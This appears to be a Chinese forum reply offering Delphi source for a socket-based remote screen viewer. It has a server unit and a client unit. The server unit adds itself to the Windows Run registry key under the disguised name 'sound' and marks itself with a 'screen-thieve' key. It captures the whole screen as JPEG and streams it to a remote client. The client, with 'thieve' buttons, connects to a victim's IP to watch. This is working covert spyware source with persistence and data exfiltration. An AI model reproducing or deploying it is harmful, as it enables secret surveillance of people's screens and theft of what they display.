我这有一个以Socket来完成这一功能的程序,你可以参考以下:
服务器端:
unit Unit_server;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls, StdCtrls,jpeg,registry,shellapi, Buttons;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
private
procedure sendscreen();
procedure snapscreen();
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
const BufSize=2048;
var
LeftSize:Longint;
jpegStream:TMemoryStream;
{$R *.DFM}
procedure TForm1.sendscreen();
var
sendsize:longint;
Buf:array[0..BufSize-1] of char;
begin
if jpegstream.Size =0 then snapscreen();
if LeftSize>BufSize then SendSize:=BufSize else SendSize:=LeftSize;
jpegStream.ReadBuffer(Buf,sendsize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then jpegStream.Clear;
try
serversocket1.Socket.Connections[0].SendBuf (buf,sendsize);
except
jpegstream.Clear ;
end;
end;
procedure TForm1.snapscreen();
var
bmpscreen:Tbitmap;
jpegscreen:Tjpegimage;
FullscreenCanvas:TCanvas;
dc:HDC;
sourceRect, destRect: TRect;
begin
dc:=getdc(0);
fullscreencanvas:=Tcanvas.Create;
fullscreencanvas.Handle:=dc;
bmpscreen:=Tbitmap.create;
bmpscreen.Width :=screen.Width ;
bmpscreen.Height :=screen.Height ;
sourcerect:=rect(0,0,screen.Width ,screen.Height );
destrect:= rect(0,0,screen.Width ,screen.Height);
bmpscreen.Canvas.CopyRect(sourcerect,fullscreenCanvas,destrect);
jpegscreen:=Tjpegimage.Create ;
jpegscreen.Assign (bmpscreen);
jpegscreen.CompressionQuality:=40;
jpegscreen.SaveToStream (jpegStream);
jpegstream.Position :=0;
LeftSize:=jpegStream.Size;
FullscreenCanvas.Free;
bmpscreen.Free;
jpegscreen.Free ;
ReleaseDC(0, DC);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
snapscreen();
end;
procedure TForm1.FormCreate(Sender: TObject);
var
reg:Tregistry;
begin
reg:=Tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
if not reg.KeyExists('SOFTWARE/screen-thieve') then begin
reg.CreateKey ('SOFTWARE/screen-thieve');
reg.OpenKey ('SOFTWARE/Microsoft/Windows/CurrentVersion/Run',true);
reg.WriteString('sound',application.ExeName );
end;
reg.CloseKey ;
jpegStream:=TmemoryStream.Create ;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
rstr:string;
begin
rstr:=socket.ReceiveText;
if rstr ='show' then
begin
sendscreen();
end;
if rstr='stop' then jpegstream.Clear;
end;
procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
errorcode:=0;
jpegstream.Clear;
end;
procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
jpegstream.Clear;
end;
end.
客户端:
unit Unit_client;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ScktComp, ExtCtrls, ToolWin, ComCtrls, Menus, Buttons,shellapi,
jpeg;
type
TForm_main = class(TForm)
Image1: TImage;
MainMenu1: TMainMenu;
N1: TMenuItem;
N2: TMenuItem;
CoolBar1: TCoolBar;
menu_connect: TMenuItem;
menu_thieve: TMenuItem;
menu_stop: TMenuItem;
menu_disconnect: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
menu_help: TMenuItem;
N5: TMenuItem;
ToolBar1: TToolBar;
bt_close: TSpeedButton;
bt_help: TSpeedButton;
bt_about: TSpeedButton;
bt_disconnect: TSpeedButton;
bt_stop: TSpeedButton;
bt_thieve: TSpeedButton;
bt_connect: TSpeedButton;
ToolButton1: TToolButton;
ToolButton2: TToolButton;
menu_homepage: TMenuItem;
menu_email: TMenuItem;
N8: TMenuItem;
menu_about: TMenuItem;
ClientSocket1: TClientSocket;
procedure bu_snapClick(Sender: TObject);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure bt_connectClick(Sender: TObject);
procedure bt_closeClick(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure bt_thieveClick(Sender: TObject);
procedure bt_aboutClick(Sender: TObject);
procedure bt_helpClick(Sender: TObject);
procedure menu_homepageClick(Sender: TObject);
procedure menu_emailClick(Sender: TObject);
procedure bt_stopClick(Sender: TObject);
procedure bt_disconnectClick(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form_main: TForm_main;
implementation
uses Unit_about;
const bufsize=2048;
var
stream:Tmemorystream;
jpegscreen:Tjpegimage;
isthieve:boolean;
{$R *.DFM}
procedure TForm_main.bu_snapClick(Sender: TObject);
begin
clientsocket1.Socket.SendText ('show');
end;
procedure TForm_main.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
buf:array[0..bufsize] of char;
numberbytes:integer;
begin
if isthieve then begin
numberbytes:=socket.ReceiveLength;
socket.receiveBuf(buf,numberbytes);
socket.SendText('show');
stream.Write(buf,numberbytes);
if numberbytes<2048 then begin
stream.Position :=0;
try
jpegscreen.LoadFromStream(stream);
image1.Picture.Bitmap.Assign(jpegscreen);
except
end;
stream.Clear ;
end;
end;
if not isthieve then socket.SendText('stop');
end;
procedure TForm_main.FormCreate(Sender: TObject);
begin
image1.Width :=screen.Width ;
image1.Height :=screen.Height;
stream:=Tmemorystream.Create ;
stream.Position :=0;
jpegscreen:=Tjpegimage.Create ;
isthieve:=false;
end;
procedure TForm_main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
clientsocket1.Socket.SendText('complete');
clientsocket1.Active :=false;
stream.Free;
jpegscreen.Free ;
end;
procedure TForm_main.bt_connectClick(Sender: TObject);
var
remotehost:string;
begin
remotehost:=inputbox('建立连接','请输入被察看的机器的IP地址或名称:','127.0.0.1');
if trim(remotehost)<>'' then
begin
clientsocket1.Host :=remotehost;
clientsocket1.Active :=true;
end;
end;
procedure TForm_main.bt_closeClick(Sender: TObject);
begin
clientsocket1.Active :=false;
close;
end;
procedure TForm_main.SpeedButton1Click(Sender: TObject);
var
remotehost:string;
begin
remotehost:=inputbox('建立连接','请输入被察看的机器的IP地址或名称:','');
if trim(remotehost)<>'' then
begin
if clientsocket1.Active then clientsocket1.Active :=true;
clientsocket1.Port :=15333;
clientsocket1.Host :=remotehost;
try
clientsocket1.Active :=true;
except
showmessage('连接失败!');
end;
end;
end;
procedure TForm_main.bt_thieveClick(Sender: TObject);
//开始传送图像
begin
stream.Clear ;
isthieve:=true;
clientsocket1.Socket.SendText ('show');
end;
procedure TForm_main.bt_aboutClick(Sender: TObject);
begin
form_about.ShowModal ;
end;
procedure TForm_main.menu_homepageClick(Sender: TObject);
begin
shellexecute(handle,nil,'http://xnzhwj.yeah.net',nil,nil,sw_normal);
end;
procedure TForm_main.menu_emailClick(Sender: TObject);
begin
shellexecute(handle,nil,'mailto:ccbxnzhwj@netease.com',nil,nil,sw_normal);
end;
procedure TForm_main.bt_stopClick(Sender: TObject);
//停止连接
begin
stream.Clear ;
isthieve:=false;
clientsocket1.Socket.SendText('stop');
end;
procedure TForm_main.bt_disconnectClick(Sender: TObject);
//断开于服务器的连接
begin
isthieve:=false;
clientsocket1.Active :=false;
stream.Clear ;
end;
procedure TForm_main.Button1Click(Sender: TObject);
begin
clientsocket1.Socket.SendText ('a1111aaa');
end;
procedure TForm_main.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
showmessage('连接成功!');
end;
procedure TForm_main.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
errorcode:=0;
isthieve:=false;
stream.Clear ;
//showmessage(inttostr(errorcode));
end;
end.